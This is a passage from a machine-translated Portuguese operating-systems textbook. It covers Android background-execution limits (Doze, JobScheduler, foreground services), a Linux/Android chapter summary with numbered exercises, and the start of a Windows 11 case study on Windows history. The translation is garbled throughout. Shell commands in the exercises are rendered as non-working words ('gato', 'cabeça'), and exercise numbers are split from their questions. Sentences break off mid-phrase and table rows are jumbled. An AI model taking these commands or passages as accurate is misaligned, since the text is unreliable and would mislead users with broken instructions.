JobScheduler mencionado anteriormente. Durante o cochilo, os trabalhos não são agendados e a 
janela de manutenção é principalmente um período em que importantes trabalhos pendentes serão 
executados pelo sistema. Este é o primeiro incentivo significativo que o Android introduziu para que 
os aplicativos mudem de serviços brutos para empregos, uma vez que os serviços não podem 
coordenar tão facilmente o trabalho que estão fazendo com a incapacidade de acessar a rede ou 
manter wake locks durante o sono. 

O Android 7.0 criou um novo modo de soneca chamado “doze light”. Isso aplica muitos dos 
benefícios da restrição de segundo plano do cochilo à maioria dos casos quando a tela de um 
dispositivo está desligada, mesmo quando ele está sendo movido. Depois que a tela estiver desligada 
por um curto período (cerca de 15 minutos), a luz do modo soneca entrará em ação e aplicará as 
mesmas restrições de rede e wake lock do modo normal. Janelas de manutenção também existem 
neste modo, embora sejam muito mais breves tanto na duração quanto no intervalo entre elas. 
Como o dispositivo pode se movimentar nesse modo, trabalhos de nível inferior, como varreduras de 
Wi-Fi e Bluetooth, devem ser executados. 

Infelizmente, o cochilo não criou incentivos suficientes para que os aplicativos migrassem para 
o JobScheduler (ou pelo menos fizessem isso rapidamente), então o Android 8.0 adotou uma 
abordagem mais forte com a criação de restrições de execução em segundo plano . Isso aplicou uma 
regra rígida de que a maioria dos aplicativos simplesmente não podia mais usar livremente serviços 
simples para trabalho em segundo plano e agora tinha que usar o JobScheduler. (Ao mesmo tempo, 
foi criada uma nova exceção mais explícita para serviços puramente de primeiro plano, a fim de 
continuar a suportar os seus casos de utilização.) 

Existe um mecanismo para que os aplicativos removam restrições de segundo plano, por meio 
do mecanismo explícito de interface do usuário discutido anteriormente no 
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tópico de permissões. Isso exige que o usuário tome uma decisão deliberada de desistir 
a duração da bateria do dispositivo para o aplicativo, o que é um padrão bastante alto para a maioria dos usuários; o 
O resultado foi pressão suficiente para levar a maioria dos aplicativos a finalmente migrar para o JobScheduler 
em vez de. 
O Android 10 incluiu uma nova restrição ao lançamento de atividades. Antes desta 
lançamento, um aplicativo em segundo plano poderia lançar livremente uma atividade no 
primeiro plano. Vários casos de uso que precisavam desse recurso (como entrada 
chamadas e despertadores) passaram a contar com outras facilidades para chamar a atenção do usuário, e 
esse recurso foi cada vez mais utilizado por malware. Proibindo plano de fundo 
lançamentos foram feitos principalmente para resolver o problema de malware, mas também fecharam uma porta 
os aplicativos precisavam fugir do controle de execução em segundo plano do Android: se conseguissem rodar um 
pouco em segundo plano (como ao receber uma transmissão), eles poderiam iniciar uma de suas atividades para 


trazer seu aplicativo de volta ao primeiro plano. aterrar e escapar de quaisquer restrições de fundo atuais. 


As mudanças até o Android 8 e, até certo ponto, as restrições de lançamento de atividades no Android 10, 
colocam o sistema em uma posição muito melhor para gerenciar a bateria. 

e garantir que os usuários tenham uma boa experiência. O estado das coisas parecia bom para um 
poucos anos, até que uma nova questão começou a aparecer: serviços de primeiro plano. 

Lembre-se de que um serviço em primeiro plano é um estado especial para um serviço, marcando-o como 
importante para o usuário. Este estado significa que restrições de fundo e cochilo podem 
não será aplicado ao seu aplicativo, por exemplo, um serviço em primeiro plano sendo usado para jogar 
a música precisa ser executada indefinidamente, ser capaz de manter o dispositivo ativo e ter acesso à rede caso 
esteja transmitindo áudio de um servidor. 

Quando as restrições de execução em segundo plano foram implementadas, foi necessário criar uma exclusão 
especial adicional para serviços em primeiro plano. Existem importantes 
casos em que um aplicativo em segundo plano precisará iniciar um serviço em primeiro plano, como 
como iniciar a reprodução de música em resposta a um botão de mídia sendo pressionado enquanto 
o aplicativo não está em primeiro plano. Isto tem o mesmo resultado que o lançamento de actividades em 
em segundo plano, permitindo-lhes escapar das restrições de execução em segundo plano. 

Neste ponto, o incentivo original para usar serviços de primeiro plano para a finalidade pretendida (fazer algo 
que interessa diretamente ao usuário), ao exigir uma notificação, havia falhado. Duas grandes mudanças causaram 
isso. Primeiro, o aumento 
restrições à execução em segundo plano removeram a alternativa que os desenvolvedores tinham de 
apenas usando um serviço regular. Em segundo lugar, as alterações introduzidas no sistema de notificação fizeram 
o abuso de notificações do aplicativo é menos problemático para eles: originalmente, se o usuário fosse 
insatisfeitos com uma notificação, a única opção era desligar todas as notificações do aplicativo. Isso evitou que o 
aplicativo cnamasse a atenção do usuário em qualquer lugar, pois 
não poderia mais postar nenhuma notificação. Mudanças recentes no Android permitiram que os usuários 
têm um controle mais preciso sobre as notificações, para que possam facilmente ocultar aquela do 
serviço em primeiro plano sem afetar outras notificações. 

O Android 12 finalmente resolveu esse problema restringindo os serviços em primeiro plano. 

Assim como a restrição ao lançamento de atividades, os aplicativos não podiam mais iniciar 


serviços em primeiro plano sempre que quisessem. Em vez disso, os serviços de primeiro plano poderiam agora 
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só ser iniciado quando o aplicativo estiver em um estado em que seja considerado correto, como 
sempre que o aplicativo já estiver em primeiro plano por outro motivo ou estiver sendo executado 
em resposta a algo que possa estar relacionado a um usuário intenção (como responder ao 
evento de botão de mídia mencionado acima). 

Isso nos deixa no estado de execução em segundo plano no Android, por volta de 2021. 
O Android, entretanto, continuará a evoluir; não apenas para continuar a otimizar a vida útil da 
bateria que pode fornecer, mas também para abordar as mudanças de comportamento de seu 
ecossistema de aplicativos e as expectativas de seus usuários. 


10.9 RESUMO 


Neste capítulo, examinamos dois exemplos em detalhes: Linux e Android, que foram 
desenvolvidos com base no Linux. O Linux existe há pouco mais de 30 anos e cresceu de um 
projeto de hobby de uma pessoa que queria uma versão de produção do MINIX para um 
sistema grande e poderoso que alimenta a maior parte da Internet. É também o projeto de código 
aberto de maior sucesso da história. 

Começamos com uma breve visão geral da interface do usuário e do shell, com alguns 
exemplos do que você pode fazer na linha de comando. Em seguida, demos uma breve olhada 
em alguns dos programas UNIX padrão disponíveis no Linux. A seguir vimos como o Linux é 
estruturado em camadas. 

Depois disso, passamos para o núcleo do material do Linux, como ele funciona por dentro. 
Isso incluía processos e threads, gerenciamento de memória, entrada/saída, sistema de arquivos 
e, claro, segurança. Para cada uma delas mostramos algumas das chamadas de sistema 
disponíveis e como elas são implementadas. Em seguida, passamos para o Android, que está 
em camadas sobre o Linux. O próprio Linux é usado principalmente em desktops, notebooks e 
servidores, mas o Android é voltado para dispositivos móveis, como smartphones e tablets. Isso 
altera consideravelmente seus objetivos e requisitos. Por exemplo, quanto tempo leva para 
iniciar um programa tem pouco interesse em notebooks, mas é crucial em dispositivos móveis. 
Os usuários de notebook realmente não se importam se o Word levar 3 segundos para iniciar, 
mas os usuários de smartphones ficariam loucos se acessar o aplicativo para fazer uma chamada 
levasse 3 segundos para inicializar. Esta simples diferença de objectivos tem vastas implicações 
para os respectivos projectos. 

Outra enorme diferença entre o Linux e o Android é que, enquanto o Linux tenta evitar o 
desperdício de energia, o Android faz de tudo para evitar o esgotamento rápido da bateria. Um 
smartphone cuja bateria durasse apenas 4 horas não seria um grande sucesso. 


Depois de examinar os objetivos de design e a história do Android, demos uma olhada na 
arquitetura do sistema. Em seguida, estudamos os detalhes em detalhes, incluindo ART, IPC do 
fichário, como os aplicativos funcionam, intenções e o modelo de processo do Android. Em 
seguida vem a sempre importante segurança, que evoluiu ao longo dos anos no Android à 
medida que se tornou mais importante. Por fim, analisamos a execução em segundo plano, que 
é bem diferente de como é feita em desktops e notebooks. 
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PROBLEMAS 


1. A primeira versão do UNIX foi escrita em código assembly. Explique como escrever UNIX 


em C tornou mais fácil portá-lo para novas máquinas. 
2. O que é um compilador C portátil? Como isso simplifica a portabilidade do UNIX? 


3. A interface POSIX define um conjunto de procedimentos de biblioteca. Explique por que o POSIX padroniza 


procedimentos de biblioteca em vez da interface de chamada de sistema. 


4. Linux depende do compilador gcc para ser portado para novas arquiteturas. Descreva um avanço 
tage e uma desvantagem desta dependência. 


5. Quando o kernel captura uma chamada de sistema, como ele sabe qual chamada de sistema deve realizar? 


6. Qual é a diferença, se houver, entre essas duas linhas de comando do Linux? Pense sobre 
todos os casos possíveis. 


gato f1 f2 f3 | grep "dia" | cabeça -500 


gato f1 f2 f3 | grep "dia" >tmp; cabeça -500 tmp; rm tmp 


7. O que o seguinte pipeline de shell do Linux faz? 


greprixyz | wc — 


8. Quando o shell do Linux inicia um processo, ele coloca cópias de suas variáveis de ambiente, 
como HOME, na pilha do processo, para que o processo possa descobrir qual é o seu diretório inicial. Se esse 
processo for bifurcado mais tarde, o filho também obterá automaticamente essas variáveis? 


9. Quanto tempo leva para um sistema UNIX tradicional bifurcar um processo filho 
nas seguintes condições: tamanho do texto = 100 KB, tamanho dos dados = 20 KB, tamanho da pilha = 10 
KB, estrutura da tarefa = 1 KB, estrutura do usuário = 5 KB. A armadilha e o retorno do kernel levam 1 
mseg, e a máquina pode copiar uma palavra de 32 bits a cada 50 nseg. Os segmentos de texto são 


compartilhados, mas os dados e os segmentos de pilha não são. 


10. À medida que os programas multimegabytes se tornaram mais comuns, o tempo gasto na execução do fork 
a chamada do sistema e a cópia dos dados e segmentos de pilha do processo de chamada cresceram 
proporcionalmente. Quando fork é executado no Linux, o espaço de endereço do pai não é copiado, como ditaria a 
semântica tradicional do fork . Como o Linux evita que a criança 
fazendo algo que mudaria completamente a semântica do fork ? 


11. Por que os argumentos negativos para nice são reservados exclusivamente para o superusuário? 


12. Um processo Linux que não seja em tempo real tem níveis de prioridade de 100 a 139. Qual é o padrão 
prioridade estática e como o valor legal é usado para mudar isso? 


13. Faz sentido retirar a memória de um processo quando ele entra no estado zumbi? Por que 


ou por que não? 


Machine Translated by Google 


INDIVÍDUO. 10 PROBLEMAS 865 


14. Com qual conceito de hardware um sinal está intimamente relacionado? Dê dois exemplos de como sig 
nais são usados. 


15. Por que você acha que os projetistas do Linux impossibilitaram que um processo enviasse um sinal para outro processo que 


não estivesse em seu grupo de processos? 


16. Existem vários daemons em execução na maioria dos sistemas UNIX, incluindo Linux. 


Identifique cinco daemons e forneça uma breve descrição de cada um. (Dica: pense em networking.) 


17. Quando um novo processo é bifurcado, deve ser atribuído a ele um número inteiro exclusivo como seu PID. É suficiente ter 
um contador no kernel que é incrementado a cada criação de processo, sendo o contador utilizado como o novo PID? 
Discuta sua resposta. 


18. Em cada entrada de processo na estrutura de tarefas, o PID do pai é armazenado. Por que? 


19. O mecanismo copy-on-write é usado como uma otimização na chamada de sistema fork , de forma que uma cópia de uma 
página seja criada somente quando um dos processos (pai ou filho) tenta escrever na página. Suponha que um processo 
p1 bifurque os processos p2 e p3 em rápida sucessão. 

Explique como um compartilhamento de página pode ser tratado neste caso. 


20. Duas tarefas A e B precisam realizar a mesma quantidade de trabalho. No entanto, a tarefa A tem prioridade mais alta e 
precisa de mais tempo de CPU. Explique como isso será alcançado em cada um dos escalonadores Linux descritos neste 
capítulo, o O(1) e o escalonador CFS. 


21. Alguns sistemas UNIX não possuem tickless, o que significa que não possuem interrupções periódicas de clock. 
Por que isso é feito? Além disso, a falta de tick faz sentido em um computador (como um sistema embarcado) executando 


apenas um processo? 


22. Ao inicializar o Linux (ou a maioria dos outros sistemas operacionais), o carregador de inicialização no setor O do disco 
primeiro carrega um programa de inicialização que então carrega o sistema operacional. Por que essa etapa extra é 
necessária? Certamente seria mais simples fazer com que o carregador de boot no setor O apenas carregasse o sistema 


operacional diretamente. 


23. Um certo editor possui 100 KB de texto de programa, 30 KB de dados inicializados e 50 KB de BSS. A pilha inicial é de 10 
KB. Suponha que três cópias deste editor sejam iniciadas simultaneamente. Quanta memória física será necessária (a) se 
for usado texto compartilhado e (b) se não for? 


24. Por que as tabelas de descritores de arquivos abertos são necessárias no Linux? 


25. No Linux, os segmentos de dados e pilha são paginados e trocados para uma cópia de rascunho mantida em um disco ou 
partição de paginação especial, mas o segmento de texto usa o arquivo binário executável. Por que? 


26. Um sistema de arquivos DAX não usa cache de página. Quando esse sistema de arquivos é apropriado? 
Você usaria um sistema de arquivos DAX com um disco rígido? Por que ou por que não? 


27. Descreva uma maneira de usar mmap e sinais para construir uma comunicação entre processos 
mecanismo. 
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28. 


29. 


30. 


3 


bard 


32. 


33. 


34. 


35. 


3 


o 


38. 


39. 


Um arquivo é mapeado usando a seguinte chamada de sistema mmap : 
mmap(65536, 32768, LER, FLAGS, fd, 0) 


As páginas têm 8 KB. Qual byte do arquivo é acessado pela leitura de um byte no endereço de memória 72.000? 


Após a chamada do sistema do problema anterior ter sido executada, a chamada 
munmap(65536, 8192) 


é realizada. Isso dá certo? Em caso afirmativo, quais bytes do arquivo permanecem mapeados? Se não, por que falha? 


Uma falha de página pode levar ao encerramento do processo de falha? Se sim, dê um exemplo. Se não, por que não? 


. É possível que com o sistema camarada de gerenciamento de memória ocorra que dois blocos adjacentes de memória 


livre do mesmo tamanho coexistam sem serem mesclados em um bloco? Se sim, explique como. Se não, mostre que 
é impossível. 


Afirma-se no texto que uma partição de paginação terá melhor desempenho do que um arquivo de paginação. Por que 
é isso mesmo? 


Dê dois exemplos das vantagens dos nomes de caminhos relativos sobre os absolutos. 


As seguintes chamadas de bloqueio são feitas por uma coleção de processos. Para cada chamada, diga o que acontece. 
Se um processo não conseguir obter um bloqueio, ele será bloqueado. 


(a) A deseja um bloqueio compartilhado nos bytes 0 a 10. (b) B 
deseja um bloqueio exclusivo nos bytes 20 a 30. (c) C deseja um 
bloqueio compartilhado nos bytes 8 a 40. (d) A deseja um 

bloqueio compartilhado nos bytes 25 a 35. (e) B deseja um bloqueio 
exclusivo no byte 8. 


Considere o arquivo bloqueado da Figura 10.26(c). Suponha que um processo tente bloquear os bytes 10 e 11 e os 
blocos. Então, antes de C liberar seu bloqueio, outro processo tenta bloquear os bytes 10 e 11, e também bloqueia. 
Que tipos de problemas são introduzidos na semântica por esta situação? Proponha e defenda duas soluções. 


. Explique em que situações um processo pode solicitar um bloqueio compartilhado ou um bloqueio exclusivo. 


Qual problema pode sofrer um processo que solicita um bloqueio exclusivo? 


. Suponha que uma chamada de sistema Iseek busque um deslocamento negativo em um arquivo. Dadas duas posições 


maneiras possíveis de lidar com isso. 


Se um arquivo Linux tiver modo de proteção 755 (octal), o que o proprietário, o grupo do proprietário, 
e todo mundo faz com o arquivo? 


Algumas unidades de fita possuem blocos numerados e a capacidade de sobrescrever um bloco específico sem perturbar 
os blocos na frente ou atrás dele. Esse dispositivo poderia conter um sistema de arquivos Linux montado? 
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40. 


41. 


42. 


43. 


44. 


45. 


46. 


47. 


48. 


49. 


50. 


51. 


52. 


Na Figura 10.24, tanto Aron quanto Nathan têm acesso ao arquivo x em seus respectivos diretórios após a 


vinculação. Será este acesso completamente simétrico no sentido de que qualquer coisa que um deles possa fazer 
com ele, o outro também pode? 


Como vimos, os nomes de caminhos absolutos são procurados começando no diretório raiz e os nomes de caminhos 
relativos são procurados começando no diretório de trabalho. Sugira uma maneira eficiente de implementar ambos 
os tipos de pesquisas. 


Quando o arquivo /usr/ast/work/f é aberto, vários acessos ao disco são necessários para ler blocos de i-nodes e 
diretórios. Calcule o número de acessos ao disco necessários supondo que o nó i do diretório raiz esteja sempre 
na memória e que todos os diretórios tenham um bloco de comprimento. 


Um i-node Linux possui 12 endereços de disco para blocos de dados, bem como endereços de blocos indiretos 


simples, duplos e triplos. Se cada um deles contém 256 endereços de disco, qual é o tamanho do maior arquivo 
que pode ser manipulado, supondo que um bloco de disco tenha 1 KB? 


Quando um i-node é lido do disco durante o processo de abertura de um arquivo, ele é colocado em uma tabela de i- 
node na memória. Esta tabela possui alguns campos que não estão presentes no disco. Um deles é um contador 
que registra o número de vezes que o i-node foi aberto. Por que este campo é necessário? 


Em plataformas multi-CPU, o Linux mantém uma fila de execução para cada CPU. Isso é bom 
ideia? Explique sua resposta? 


O conceito de módulos carregáveis é útil porque novos drivers de dispositivos podem ser carregados no kernel 
enquanto o sistema está em execução. Forneça duas desvantagens desse conceito. 


Os threads de trabalho do kernel podem ser despertados periodicamente para gravar de volta no disco muito antigo 
páginas — com mais de 30 segundos. Por que isso é necessário? 


Após uma falha e reinicialização do sistema, geralmente é executado um programa de recuperação. Suponha que 
este programa descubra que a contagem de links em um nó i do disco é 2, mas apenas uma entrada de diretório 
faz referência ao nó i. Isso pode resolver o problema e, em caso afirmativo, como? 


Com base nas informações apresentadas neste capítulo, se um sistema de arquivos ext2 do Linux fosse colocado 


em um disquete de 1,44 MB, qual seria a quantidade máxima de dados de arquivos do usuário que poderiam ser 
armazenados no disco? Suponha que os blocos de disco tenham 1 KB. 


Tendo em vista todos os problemas que os estudantes podem causar se se tornarem superusuários, por que esse 
conceito existe? 


Um professor compartilha arquivos com seus alunos colocando-os em um diretório de acesso público no sistema 
Linux do departamento de Ciência da Computação. Um dia ele percebe que um arquivo colocado lá no dia anterior 
ficou gravável em todo o mundo. Ele altera as permissões e verifica se o arquivo é idêntico à sua cópia mestre. 

No dia seguinte, ele descobre que o arquivo foi alterado. Como isso poderia ter acontecido e como poderia ter sido 
evitado? 


Linux tem uma chamada de sistema fsuid. Ao contrário do setuid, que concede ao usuário todos os direitos do id 
efetivo associado a um programa em execução, o fsuid concede ao usuário que está executando o programa 
direitos especiais apenas com relação ao acesso aos arquivos. Por que esse recurso é útil? 
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53. Em um sistema Linux, vá para o diretório /proc/#### , onde #### é um número decimal que responde a um 
processo atualmente em execução no sistema. Responda o seguinte juntamente com uma explicação: (a) Qual 
é o tamanho da maioria 
dos arquivos neste diretório? (b) Quais são as configurações de hora e 
data da maioria dos arquivos? (c) Que tipo de direito de acesso é concedido 
aos usuários para acessar os arquivos? 


54. Se você estivesse escrevendo uma atividade Android para exibir uma página da Web em um navegador, como 
implementaria o salvamento do estado da atividade para minimizar a quantidade de estado salvo sem perder 
nada importante? 


55. Se você estiver escrevendo código de rede no Android que usa um soquete para baixar um arquivo, o que você 
deve considerar fazer de diferente do que em um sistema Linux padrão? 


56. Se você estiver projetando algo como o processo zigoto do Android para um sistema que terá vários threads em 
execução em cada processo bifurcado, você preferiria iniciar esses threads no zigoto ou após a bifurcação? 


57. Imagine que você usa o Binder IPC do Android para enviar um objeto para outro processo. Posteriormente, você 
recebe um objeto de uma chamada em seu processo e descobre que o que recebeu é o mesmo objeto enviado 
anteriormente. O que você pode presumir ou não sobre o chamador em seu processo? 


58. Considere um sistema Android que, imediatamente após ser iniciado, segue estas etapas: 


1. O aplicativo inicial (ou inicializador) é iniciado. 

2. O aplicativo de e-mail começa a sincronizar sua caixa de correio em segundo plano. 
3. O usuário inicia um aplicativo de câmera. 

4. O usuário inicia um aplicativo de navegador da Web. 


A página da Web que o usuário está visualizando agora no aplicativo do navegador requer cada vez mais RAM, 
até precisar de tudo o que puder obter. O que acontece? 


59. Considere o seguinte cenário do Binder IPC. O processo P1 tem um objeto Binder que implementa a interface 11, 
o Processo P2 tem um objeto Binder que implementa a interface /2, o processo P3 tem um objeto Binder que 
implementa a interface /3. O processo P1 cria um novo objeto Binder com interface le; P1 chama /2 para enviar 
le para P2, então P2 chama 13 para enviar aquele le para P3, então P3 chama /1 para enviar aquele le para P1. 
P1 agora pega o le recebido de P3 e chama um método nele. O que acontece e por quê? 


60. Temos a seguinte jornada do usuário pelo sistema Android. Cada aplicativo tem 
um processo associado a ele. 


1. Inicie um aplicativo "media player" e comece a reproduzir música. O media player inicia um 
serviço em primeiro plano para reproduzir a música. 

2. O "media player" enquanto reproduz música usa um provedor de conteúdo em outro aplicativo 
"servidor de áudio" para recuperar os dados de áudio que está reproduzindo. 

3. Agora volte para casa e inicie um aplicativo de “mensagens”. 

4. No aplicativo "mensagens", envie uma mensagem para um amigo, anexando um arquivo de 
áudio. O aplicativo de mensagens agora está usando o provedor de conteúdo no aplicativo 
"servidor de áudio" para recuperar o arquivo de áudio. 
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5. Enquanto isso acontece, um aplicativo de "e-mail" é executado em segundo plano para 
recuperar novas mensagens de seu servidor. 


Da 


Neste ponto, com o que sabemos, qual é a categoria de importância dos processos “media player”, “servidor 


de áudio”, “mensagens” e “e-mail”? 

61. Disseram a você que o Android tem muitos prompts de permissão de execução sendo mostrados aos usuários e 
você precisa se livrar de um deles. Os prompts de tempo de execução atuais são (no texto mostrado ao usuário) 
"Contatos (acesse seus contatos)," "Calendário (acesse seu calendário)," "SMS (envie e visualize mensagens 
SMS),"''Armazenamento (acessar fotos, mídia e arquivos)," "Localização (acessar a localização do dispositivo)," 


"Telefone (fazer e gerenciar chamadas)," "Microfone (gravar áudio)," " Câmera (tirar fotos e gravar vídeos)" e 
"Sensores corporais (acessar dados do sensor sobre seus sinais vitais)." Quais destes você selecionaria para 


tentar remover e por quê? 


62. Você está começando a ver um problema em que os usuários estão realizando muito mais operações explícitas de 
upload/download (como enviar vídeos e gravações grandes e baixá-los), que os aplicativos implementam 
corretamente como serviços de primeiro plano. No entanto, em dispositivos que são mais limitados em RAM, eles 
entram em conflito com outros serviços de primeiro plano, como a reprodução de música, causando situações em 
que a música do usuário é interrompida em vez de uploads/downloads que seriam uma escolha melhor. Como 
você pode resolver isso? 


63. Escreva um shell mínimo que permita iniciar comandos simples. Também deve permitir que eles sejam iniciados em 
segundo plano. 


64. Escreva um programa de terminal idiota para conectar dois computadores Linux por meio de portas seriais. 
Use as chamadas de gerenciamento de terminal POSIX para configurar as portas. 


65. Escreva uma aplicação cliente-servidor que, mediante solicitação, transfira um arquivo grande por meio de soquetes. 
Reimplemente o mesmo aplicativo usando memória compartilhada. Qual versão você espera que tenha melhor 
desempenho? Por que? Realize medições de desempenho com o código que você escreveu e usando diferentes 
tamanhos de arquivo. Quais são suas observações? O que você acha que acontece dentro do kernel do Linux que 
resulta nesse comportamento? 


66. Implemente uma biblioteca básica de threads em nível de usuário para rodar no Linux. A API 
da biblioteca deve conter chamadas de função como mythreads init, mythreads create, . 
mythreads join, mythreads exit, mythreads yield, mythreads self e talvez algumas outras. Em 
seguida, implemente essas variáveis de sincronização para permitir operações simultâneas 
seguras: mythreads mutex init, mythreads mutex lock, mythreads mutex unlock. Antes de 
começar, defina claramente a API e especifique a semântica de cada uma das chamadas. 
Em seguida, implemente a biblioteca em nível de usuário com um escalonador preemptivo 
simples e round-robin. Você também precisará escrever um ou mais aplicativos multithread, 
que usam sua biblioteca, para testá-la. Finalmente, substitua o mecanismo de escalonamento 
simples por outro que se comporte como o escalonador Linux 2.6 O(1) descrito neste 
capítulo. Compare o desempenho que seus aplicativos recebem ao usar cada um dos agendadores. 


67. Escreva um script de shell que exiba algumas informações importantes do sistema, como quais processos você está 
executando, seu diretório inicial e diretório atual, tipo de processador, utilização atual da CPU, etc. 
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68. Usando linguagem assembly e chamadas de BIOS, escreva um programa que inicialize sozinho a partir de um USB 
unidade em um computador x86. O programa deve usar chamadas de BIOS para ler o teclado 
e ecoe os caracteres digitados, apenas para demonstrar que está em execução. 
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ESTUDO DE CASO 2: WINDOWS 11 


O Windows é um sistema operacional moderno executado em PCs, laptops, 
tablets e telefones, bem como desktops empresariais, estações de trabalho e dispositivos empresariais 
servidores. O Windows também é o sistema operacional usado nos jogos Xbox da Microsoft 
sistema, o dispositivo de realidade mista Hololens e a infraestrutura de computação em nuvem Azure. 
A versão mais recente é o Windows 11, lançada em 2021. Neste capítulo, 
examinará vários aspectos do Windows, começando com uma breve história e depois passando para 
sua arquitetura. Depois disso, veremos processos, gerenciamento de memória, cache, E/S, sistema 
de arquivos, gerenciamento de energia e, finalmente, segurança. 


11.1 HISTÓRICO DO WINDOWS ATRAVÉS DO WINDOWS 11 


O desenvolvimento do sistema operacional Windows pela Microsoft para computadores baseados 
em PC, bem como para servidores, pode ser dividido em quatro eras: MS-DOS, baseado em MS-DOS. 
Windows, Windows baseado em NT e Windows moderno. Tecnicamente, cada um 
destes sistemas é substancialmente diferente dos outros. Cada um foi dominante durante 
diferentes décadas na história do computador pessoal. A Figura 11-1 mostra o 
datas dos principais lançamentos de sistemas operacionais da Microsoft para computadores desktop. 
A seguir esboçaremos brevemente cada uma das eras mostradas na tabela. 


871 
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Ano MSDOS Baseado eh MS-DOS BaseadoemNT | Moderno Notas 
janelas janelas 
janelas 
1981 1,0 Versão inicial para IBM PC 
1983 2,0 Suporte para PC/XT 
1984 3,0 Suporte para PC/AT 
1990 3,0 Dez milhões de cópias em 2 anos 
1991 5,0 Adicionado gerenciamento de memória 
1992 3.1 Funcionou apenas em 286 e posteriores 
1993 TE 3.1 Compatível com x86 de 32 bits, MIPS, Alpha 
1995 7,0 95 TE 3.51 MS-DOS incorporado no Win 95 
NT suporta PowerPC 
1996 NT 4.0 NT tem aparência do Windows 95 
1998 98 
2000 8,0 Meu 2000 Win Me foi inferior ao Win 98 
NT suporta IA-64 
2001 XP Win 98 substituído. NT suporta x64 
2006 Vista O Vista não conseguiu suplantar o XP 
2009 7 Melhorou significativamente em relação ao Vista 
2012 8 Primeira versão moderna, suporta ARM 
2013 8.1 Reclamações corrigidas sobre o Windows 8 
2015 10 SO unificado para vários dispositivos 
2020 Lançamentos rápidos a cada 6 meses 
Atingiu 1,3 bilhão de dispositivos 
2021 11 Nova interface do usuário 
Suporte mais amplo a aplicativos 
Linha de base de segurança mais alta 


Figura 11-1. Principais lançamentos na história dos sistemas operacionais Microsoft para 


computadores desktop. 


11.1.1 década de 1980: MS-DOS 


No início da década de 1980, a IBM, na época o maior e mais poderoso computador 
empresa do mundo, estava desenvolvendo um computador pessoal baseado no processador Intel 8088 
microprocessador. Desde meados da década de 1970, a Microsoft tornou-se o fornecedor líder 
da linguagem de programação BASIC para microcomputadores de 8 bits baseados no 8080 
e Z-80. Quando a IBM abordou a Microsoft sobre o licenciamento do BASIC para o novo 
IBM PC, a Microsoft concordou prontamente com o acordo e sugeriu que a IBM contatasse a Digital 
Research para licenciar seu sistema operacional CP/M, uma vez que a Microsoft ainda não estava no mercado. 
o negócio do sistema operacional. A IBM fez isso, mas o presidente da Digital Research, 
Gary Kildall estava ocupado demais para se encontrar com a IBM. Este foi provavelmente o pior erro 
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em toda a história dos negócios. Se ele tivesse licenciado o CP/M para a IBM, Kildall provavelmente teria 
tornaram-se o homem mais rico do planeta. Rejeitada por Kildall, a IBM voltou a 

Bill Gates, cofundador da Microsoft, pediu ajuda novamente. Dentro de um curto 

vez, a Microsoft comprou um clone CP/M de uma empresa local, Seattle Computer 

Produtos, portou-os para o IBM PC e licenciou-os para a IBM. Foi então renomeado 

MS-DOS 1.0 (MicroSoft Disk Operating System) e fornecido com o primeiro IBM 

PC em 1981. 

O MS-DOS era um sistema operacional de 16 bits, de modo real, de usuário único e orientado por 
linha de comando, consistindo em 8 KB de código residente na memória. Durante a próxima década, 
tanto o PC quanto o MS-DOS continuaram a evoluir, acrescentando mais recursos e capacidades. Em 
1986, quando a IBM construiu o PC/AT baseado no Intel 286, o MS-DOS tinha 
cresceu para 36 KB, mas continuou a ser um sistema operacional orientado por linha de comando e 
para um aplicativo por vez. 


11.1.2 Década de 1990: Windows baseado em MS-DOS 


Inspirado na interface gráfica do usuário de um sistema desenvolvido por Doug Engel Bart no 
Stanford Research Institute e posteriormente aprimorado na Xerox PARC, e seu 
descendência comercial, o Apple Lisa e o Apple Macintosh, a Microsoft decidiu 
para dar ao MS-DOS uma interface gráfica de usuário chamada Windows. Os dois primeiros 
versões do Windows (1985 e 1987) não tiveram muito sucesso, em parte devido ao 
limitações do hardware do PC disponível no momento. Em 1990, a Microsoft lançou 
Windows 3.0 para Intel 386 e vendeu mais de um milhão de cópias em seis meses. 

O Windows 3.0 não era um verdadeiro sistema operacional, mas um ambiente gráfico 
construído sobre o MS-DOS, que ainda controlava a máquina e o sistema de arquivos. Todos os 
programas foram executados no mesmo espaço de endereço e um bug em qualquer um deles 
poderia levar todo o sistema a uma paralisação frustrante. 

Em agosto de 1995, o Windows 95 foi lançado. Ele continha muitos dos recursos 
de um sistema operacional completo, incluindo memória virtual, gerenciamento de processos, 

e multiprogramação, e introduziu interfaces de programação de 32 bits. no entanto 

ainda carecia de segurança e fornecia um isolamento deficiente entre os aplicativos e o sistema 
operacional, de modo que um bug em um programa poderia travar todo o sistema ou causar 

um travamento em todo o sistema. Assim, os problemas de instabilidade continuaram, mesmo com a 
versões subsequentes do Windows 98 e Windows Me, onde o MS-DOS ainda era 

lá executando código assembly de 16 bits no coração do sistema operacional Windows. 


11.1.3 Anos 2000: Windows baseado em NT 


No final da década de 1980, a Microsoft percebeu que continuar a desenvolver um sistema 
operacional com o MS-DOS no centro não era o melhor caminho a seguir. Hardware de PC 
continuava a aumentar em velocidade e capacidade e, em última análise, o mercado de PC 
colidiria com a computação de desktops, estações de trabalho e servidores corporativos 
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mercados, onde o UNIX era o sistema operacional dominante. A Microsoft também estava preocupada com a 
possibilidade de a família de microprocessadores Intel não continuar a ser competitiva, 

pois já estava sendo desafiado pelas arquiteturas RISC. Para resolver essas questões, 

A Microsoft recrutou um grupo de engenheiros da DEC (Digital Equipment Corporation) liderado por Dave 
Cutler, um dos principais projetistas do sistema operacional VMS da DEC. 

(entre outros). Cutler foi contratado para desenvolver um sistema operacional totalmente novo de 32 bits 
destinado a implementar o 0S/2, a API do sistema operacional que a Microsoft 

estava desenvolvendo em conjunto com a IBM na época. Os documentos de projeto originais de 

A equipe de Cutler chamou o sistema de NT OS/2. 

O sistema de Cutler foi chamado de NT (Nova Tecnologia) (e também porque o processador alvo 
original era o novo Intel 860, de codinome N10). O NT foi projetado para ser portátil em diferentes 
processadores e enfatizou a segurança e 
confiabilidade, bem como compatibilidade com as versões do Windows baseadas em MS-DOS. 

A experiência de Cutler na DEC aparece em vários lugares, havendo mais de um 
passando semelhança entre o design do NT e o do VMS e outros sistemas operacionais 
sistemas projetados por Cutler, mostrados na Figura 11-2. 


Ano DEC sistema operacional Características 
1973RSX-11M 16 bits, multiusuário, em tempo real, troca 
1978 VAXIVMS Memória virtual de 32 bits 

1987 VAXELAN Tempo real 

1988 PRISMA/Mica Cancelado em favor do MIPS/Ultrix 


Figura 11-2. Sistemas operacionais DEC desenvolvidos por Dave Cutler. 


